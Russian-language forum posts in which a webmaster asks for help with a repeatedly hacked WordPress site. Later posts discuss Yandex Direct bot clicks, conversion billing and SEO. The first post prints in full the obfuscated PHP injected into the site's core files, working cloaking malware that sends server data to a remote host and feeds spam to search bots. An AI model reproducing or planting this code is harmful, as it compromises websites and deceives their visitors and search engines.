До этого менял тему, не помогло.
Варезные давно не ставлю
Попробую перезалить. А в чем разница, они же и так заменяются?
Код вставляют всегда в эти файлы state.php и wp-blog-header.php , может запретить их изменять? Или wp поломается из-за этого.
Подскажите, пожалуйста, как можно защититься?
Пару недель сайт ломают разными способами, не истина конечно, мое мнение, так как до этого сильной нагрузки не было, а когда добавил плагин для защиты, то появилась нагрузка, и опять загружают левые файлы.
Делал
1 - все обновил
2 - заменил все файлы ядра, скачал с вордпресс
3 - поставил плагин для доп защиты
Что еще можно предпринять?
В файл state.php добавляют это, еще в wp-blog-header.php, но уже удалил эту строку
<?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode($OOOOOO);$oOooOO='z41209_1o';$oOooOOoO=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[68].$O[73].$O[59].$O[64].$O[73].$O[72].$O[59].$O[64].$O[71].$O[69].$O[59].$O[65].$O[70].$O[65].$O[63].$oOooOO.$O[63]; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$OooooO");curl_setopt($OOooooO,CURLOPT_RETURNTRANSFER, 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);curl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOooooO,CURLOPT_POST, 1);curl_setopt($OOooooO,CURLOPT_POSTFIELDS, http_build_query($OOOoooo));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_errno($OOooooO);curl_close($OOooooO);if(0!==$OOOOoooOO){return false;}return $OOOOooo;} function oooOOOo($ooOOo){global $O;$ooOOOOo = false;$oooooOOo = $O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[23].$O[8].$O[4].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[23].$O[7].$O[24].$O[14].$O[90].$O[10].$O[8].$O[18];if ($ooOOo!=''){if (preg_match("/($oooooOOo)/si",$ooOOo)){$ooOOOOo=true;}}return $ooOOOOo;} function oooOOooOOoOO($oOOOOOOoOOOO){global $O;$ooOOOOOOoO=false;$ooOOOOOOoOo=$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25];if ($oOOOOOOoOOOO!='' && preg_match("/($ooOOOOOOoOo)/si", $oOOOOOOoOOOO)) {$ooOOOOOOoO=true;}return $ooOOOOOOoO;}$oOooOOoOO=((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]!==$O[8].$O[13].$O[13])?$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63]:$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63]);$oOoooOOoOO=$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$ooOOoooOOoOO=$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$ooOOOoooOOoOO=$_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]];$ooOOOOoooOOOoOO=$_SERVER[$O[37].$O[28].$O[29].$O[48].$O[28].$O[29].$O[52].$O[50].$O[36].$O[51].$O[28]];$ooOOOOoooOOOOoOO=$oOooOOoOO.$ooOOoooOOoOO.$oOoooOOoOO;$oooOOOOoooOOOooOO=$oOooOOoO.$O[63].$O[7].$O[24].$O[12].$O[10].$O[4].$O[10].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooO=$oOooOOoO.$O[63].$O[25].$O[10].$O[9].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooOoo=$oOooOOoO.$O[63].$O[16].$O[6].$O[25].$O[9].$O[59].$O[9].$O[15].$O[9];$oooooOOoooOOOoooOoo=$oOooOOoO.$O[63].$O[1].$O[8].$O[3].$O[12].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooooOOOOoooOOoooOO=$oOooOOoO.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooOoOoooOOOooo[$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$oooOoOOooOoooOOOoOoOoOoOoO=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$ooooooOoOoooOOOooo[$O[15].$O[4].$O[4].$O[9].$O[52].$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=$oooOoOOooOoooOOOoOoOoOoOoO;$oooOOOooOoooOOOooooOoOoOoOoO=isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]]:'';$ooooOOOOoooOOOoooOOO=$_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];$ooooooOoOoooOOOooo[$O[7].$O[9]]=$ooooOOOOoooOOOoooOOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[13].$O[2].$O[3].$O[2].$O[3]]=$oooOOOooOoooOOOooooOoOoOoOoO;if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO.$ooOOOoooOOoOO;}else{$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO;}$ooooooOoOoooOOOooo[]=array();$ooooooOoOoooOOOooo[$O[12].$O[8].$O[25].$O[10].$O[7].$O[24]]=$ooOOoooOOoOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[7]]=$oOoooOOoOO;$ooooooOoOoooOOOooo[$O[15].$O[3].$O[2].$O[13]]=$ooooooOOoooOOOoooOo;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[18]]=$ooOOOOoooOOOOoOO;if(substr($oOoooOOoOO,-6)==$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]){define('BASE_PATH',str_ireplace($_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]],'',__FILE__));$ooooooooOOOOOoooOoOoooOO=@file_get_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);$ooooooOoOoooOOOooo[$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[52].$O[21].$O[8].$O[24].$O[4]]=$ooooooooOOOOOoooOoOoooOO;$ooooooooOOOOOoooOoOoooOO = ooOOoOOO($ooooooooOOOOoooOOoooOO,$ooooooOoOoooOOOooo);file_put_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4],$ooooooooOOOOOoooOoOoooOO);$ooooooooOOOOOoooOoOoooOO=@file_get_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);if(strpos($ooooooooOOOOOoooOoOoooOO,$O[59].$O[20].$O[25].$O[18])){ echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[88];}else{ echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[13].$O[10].$O[7].$O[18].$O[88];}exit;}if(substr($oOoooOOoOO,-4)==$O[59].$O[20].$O[25].$O[18]){if(strpos($oOoooOOoOO,$O[9].$O[7].$O[24].$O[14].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);$ooooooOOoooOOOooooOOO= explode(",",$ooooooOoOoooOOOooooO);$ooooooOOoooOOOooooOOO[]=$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];for($ooooooOOoooOOOooooOOOOo=0;$ooooooOOoooOOOooooOOOOo<count($ooooooOOoooOOOooooOOO);$ooooooOOoooOOOooooOOOOo++){if(strpos($ooooooOOoooOOOoooOo,$O[59].$O[9].$O[15].$O[9])> 0){$ooooooOOoooOOOooooOOOOoo=$O[55];}else{$ooooooOOoooOOOooooOOOOoo=$O[63]; } $ooooooOOOoooOOOooooOOOOOoo=$ooooooOOoooOOOoooOo.$ooooooOOoooOOOooooOOOOoo.$ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo].$O[59].$O[20].$O[25].$O[18]; $ooooooOOOOoooOOOooooOOOOOo=$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; $ooooooOOOOoooOOOooooOOOOOoOooOoOo=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL;}else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@file_get_contents($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else if(stristr(@ooooooooOOOOOOOOoooooOOO($ooooooOOOOoooOOOooooOOOOOoOooOoOo),$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[13].$O[6].$O[18].$O[18].$O[5])){echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[34].$O[43].PHP_EOL; }else{echo $ooooooOOOOoooOOOooooOOOOOoOooOoOo.$O[61].$O[61].$O[61].$O[56].$O[37].$O[6].$O[23].$O[25].$O[7].$O[4].$O[4].$O[7].$O[24].$O[14].$O[57].$O[40].$O[8].$O[8].$O[14].$O[18].$O[2].$O[57].$O[37].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[62].$O[57].$O[13].$O[10].$O[7].$O[18].PHP_EOL;}}exit;}if(strpos($oOoooOOoOO,$O[10].$O[18].$O[18].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18]) || strpos($oOoooOOoOO,$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[53].$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[20].$O[25].$O[18]) || strpos($oOoooOOoOO,$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[53].$O[7].$O[24].$O[12].$O[2].$O[20].$O[53].$O[64].$O[59].$O[20].$O[25].$O[18]) || strpos($oOoooOOoOO,$O[7].$O[24].$O[12].$O[2].$O[20].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]); echo $ooooooOoOoooOOOooooO;exit;}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){ $ooooooOOoOOoooOOOooooOOOOO=explode($O[55],$oOoooOOoOO); $ooooooOOoOOoooOOOooooOOOOO=$ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO)-1]; $ooooooOOoOOoooOOOooooOOOOO=str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}else{ $ooooooOOoOOoooOOOooooOOOOO= str_replace($O[63],"",$oOoooOOoOO);$ooooooOOoOOoooOOOooooOOOOO= str_replace($O[59].$O[20].$O[25].$O[18],"",$ooooooOOoOOoooOOOooooOOOOO);}$ooooooOoOoooOOOooo[$O[1].$O[8].$O[3].$O[12]]=$ooooooOOoOOoooOOOooooOOOOO;$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if($ooooooOOoOoOoooOOOooooOOoOOO=='1'){$ooooooOoOoooOOOooooO=ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOoOoooOOOooooO;exit;}$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[21].$O[15].$O[2].$O[21].$O[17].$O[52].$O[1].$O[8].$O[3].$O[12].$O[11];$ooooooOOoOoOoooOOOooooOOoOoOO= ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);if(strpos($oOoooOOoOO,$O[25].$O[10].$O[9])> 0 || $ooooooOOoOoOoooOOOooooOOoOoOO=='1'){$ooooooOoOoooOOOooo[$O[10].$O[21].$O[4].$O[7].$O[8].$O[24]]=$O[3].$O[10].$O[24].$O[12].$O[52].$O[20].$O[25].$O[18];$ooooooOOoOoOoooOOOooooOOoOOO=ooOOoOOO($oooooOOoooOOOoooOoo,$ooooooOoOoooOOOooo);header($O[47].$O[8].$O[24].$O[4].$O[2].$O[24].$O[4].$O[53].$O[4].$O[5].$O[9].$O[2].$O[62].$O[4].$O[2].$O[20].$O[4].$O[63].$O[20].$O[25].$O[18]);echo $ooooooOOoOoOoooOOOooooOOoOOO;exit;}}if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO.$ooOOOoooOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;}else{$ooooooOOooOooOoooOOOooooOOoOoOO=$oOooOOoOO.$ooOOOOoooOOOoOO;$ooooooOoOoooOOOooo[$O[25].$O[10].$O[7].$O[24].$O[52].$O[11].$O[15].$O[2].$O[18].$O[18]]=$ooooooOOooOooOoooOOOooooOOoOoOO;} $ooooOoOOooOoooOOOoOoOoOoO=oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);if(strpos($_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]],$O[59].$O[9].$O[15].$O[9])){ $ooooooooOOOOOOOO = $O[55]; }else{ $ooooooooOOOOOOOO = $O[63]; } $oooOoOooOooOoooOOOoOoOoOoOo=oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO); if(!$oooOoOooOooOoooOOOoOoOoOoOo && $ooooOoOOooOoooOOOoOoOoOoO && ( preg_match($O[63].$O[16].$O[10].$O[63].$O[7],@$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]]) || preg_match($O[63].$O[16].$O[9].$O[63].$O[7],@$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[36].$O[47].$O[47].$O[28].$O[35].$O[30].$O[52].$O[44].$O[36].$O[50].$O[40].$O[32].$O[36].$O[40].$O[28]]) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($ooooooooOOOOOOOO,str_replace(array(".html",".htm"),"",$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]])))))){ echo ooOOoOOO($ooooOOOOoooOOOooOoo,$ooooooOoOoooOOOooo);exit;}if($oooOoOooOooOoooOOOoOoOoOoOo || preg_match("#[a-z]=\d+#",$oOoooOOoOO)){$ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO,$ooooooOoOoooOOOooo); if($ooooooOOOOOoooOOOOooooooO==$O[70].$O[67].$O[70]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[69].$O[67].$O[67]){header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[69].$O[67].$O[67].$O[57].$O[33].$O[24].$O[4].$O[2].$O[3].$O[24].$O[10].$O[18].$O[57].$O[37].$O[2].$O[3].$O[22].$O[2].$O[3].$O[57].$O[28].$O[3].$O[3].$O[8].$O[3]);exit;}else if($ooooooOOOOOoooOOOOooooooO==$O[23].$O[18].$O[10].$O[24].$O[17]){echo '';exit;}else{echo $ooooooOOOOOoooOOOOooooooO;exit;} }else{ header($O[41].$O[30].$O[30].$O[35].$O[63].$O[64].$O[59].$O[67].$O[57].$O[70].$O[67].$O[70].$O[57].$O[50].$O[8].$O[4].$O[57].$O[39].$O[8].$O[6].$O[24].$O[12]);} ?>
Самое интересное, сайт вроде работает нормально, но роботу отдает 404 страницу
И еще интересное, когда проверяешь установку счетчика яндекс метрики, то там отображается левый сайт.
Фатальная ошибка
Подскажите, почему?
У кого коммерцию порезало, как вариант, что яндекс слишком много мест для себя забирает
5 мест спецразмещения, при чем, раньше 1 и 2 место были одного сайта, то теперь все 5 мест разные сайты
Потом 2 сео, и 1 место директа
И это не считая авито, профи и других сервисов яндеса
С учетом того, что проблематично снять выдачу из-за персонализации, то неизвестно что яндекс отдает в конечном итоге.
В инкогнито встречал, где яндекс карты были сначала, и только потом директ
Какая разница новый или нет, там причина - За неправильное использование стратегии "Оплата за конверсию".
А не то что палево, и какая разница, в любом случае нельзя запустить на ранее добавленный домен, телефон + новые правила о рекламодателе, слишком геморойно ради купона заводить еще один аккаунт.
В целом, я бы хотел посмотреть действующие компании с оплатой за конверсии. Так как это безумие какое-то с конверсиями. У нас реклама настроена на картах. Так там одно время переходы с рекламы штук по 10, были засчитаны конверсия - телефон, а звонков не было.
Услуги по приему лома, там вообще ставки высокие, можно было бы за 1 день спустить бюджет.
Если честно перечитал уже больше чем хотелось бы)Вроде как особо не встречал такого. Мне акк заблочили за левые данные рекламодателя, если за борьбу с ботами заблочат еще один, я даже рад буду. Хотя в целом понял, лучше с площадками напрямую работать. В целом уже большая часть настроена на разговор по рекламе, на хер надо услуги во всяких пазлах рекламировать.
Не знаю, что вы читали, это одна из основных тем https://searchengines.guru/ru/forum/998671/page262#comment_17075644
На последней странице темы про это написано, и в этой же теме, тоже было похожее.
Посмотрите темы про директ
Там писали, что ставили доп защиту на конверсии, например добавляли какие-нибудь поля, либо выносили форму в другое место, я точно не помню, как делали. Таким образом, ботов отсеивали. И когда это замечали в директе, то блокировали аккаунт, или компанию, не помню на 100%.
Но смысл такой, если бот не может сделать конверсию, то блок от дирtкта.
А как вы представляете защиту?
Человек или бот пришел в яндекс, ввел запрос, перешел на сайт.
Яндекс списал. Если яндекс посчитал ботом, то не засчитал.
Как тут могут помочь сторонние сервисы? Могут блокировать бота и не дать зайти на сайт, но списание то все ровно будет.
Если выбрать стратегию - оплата за конверсию, и не давать ботам совершать действие. Но тоже хз, почитайте на форуме, тут писали, что делают защиту на конверсии, и им компании блокируют.
Могут конечно помочь вернуть часть денег, может составят список заходов ботов, вы отправляете в яндекс, и они пересчитывают, но это больше похоже на фантазии.
Так у них еще и антифрод их поломался, или спец хуже сделали.
Недавно списали 5 кликов, 100% 1 человек кликал за пару часов, и их антифрод за каждый списал.
Тематика лом. 3000 руб в трубу.
есть всегда шанс того что сайт уже "зафильтрован" . Но если все заменить на уник ( не генерированый чатом) то шансы большие что вылезет из ямы
плодить дубли плохая идея
Как можно давать советы, не видя сайт? )) Что-то общее можно конечно, но так себе затея.
Тс покажи сайт.